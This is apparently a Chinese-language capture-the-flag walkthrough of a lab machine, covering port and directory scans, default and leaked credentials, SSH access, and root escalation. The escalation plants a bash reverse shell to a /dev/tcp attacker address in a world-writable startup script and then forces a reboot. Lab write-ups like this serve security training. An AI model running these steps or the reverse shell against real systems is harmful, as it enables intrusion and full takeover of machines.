一、信息收集
1.nmap扫描
发现开发端口:22、80、8082
访问80和8082端口,没有发现什么有价值的信息
2.扫描目录
dirsearch扫描目录
┌──(root💀kali)-[~/routing/dirsearch-]
└─# python3 dirsearch.py -u "http://192.168.103.186"
1./adminer.php
2./info.php
3./system
nikto扫描
┌──(root💀kali)-[~/桌面]
└─# nikto -h http://192.168.103.186/
在/system/目录里面,找到:账号密码
admin:admin
3./system目录登录
开始利用nikto扫描,发现账号密码都是admin
登录后,发现这个web页面
返回数据包
在响应数据包中的这条就是用来验证身份的。
Authorization: Basic YWRtaW46YWRtaW4=
信息收集
在/mantisbt/config/a.txt目录下,可疑找到以下信息:
4.登陆/adminer.php网页:
登陆成功:
可以看到mysql服务器中的数据表:
mantis_user_table
账号:tre
密码:Tr3@123456A!
二、漏洞利用
1.ssh连接tre
账号:tre
密码:Tr3@123456A!
2.SUID提权
没有看到什么有价值的提权方法
1.查看只有SUID的二进制可执行文件
find / -user root -perm -4000 -print 2>/dev/null
2.已知的可用来提权的linux可行性的文件列表如下:
nmap、Vim、find、bash、more、less、Nano、cp
3.sudo提权
1.发现tre
用户可以通过sudo
使用shutdown
命令,从而控制靶机启动
然后键入下面的命令来查看:属主是root
,但同时其他用户可以对该文件进行写的敏感文件。排除/sys/kernel/security
这样的关于内核的文件,将目标重点放在/usr/bin/check-system
这个文件上
find / -type f -perm -o=w -user root -ls 2>/dev/null | grep -v "/proc\|sys/fs"
2.这个脚本是root
创建,所以很有可能会有root
的相关程序对其进行引用
/usr/bin/check-system目录说明
不难发现两个程序都是通过bash
来执行这个脚本的,而这且都是开机自启动。结合前面搜集的信息:
tre
用户可以读写check-system
- 可以重启靶机
check-system
开机是会运行。
所以对该脚本进行修改,让其在重启是反弹shell
。而且由于开机是高权限,大概率是root
用户的shell
/usr/bin/check-system
cat /usr/bin/check-system
vim.tiny /usr/bin/check-system #使用vim.tiny编辑
/bin/bash -i >& /dev/tcp/192.168.103.129/4444 0>&1
root权限
利用sudo shutdown
使靶机重启,进而成功的反弹root
的shell
,拿下root
sudo shutdown -r now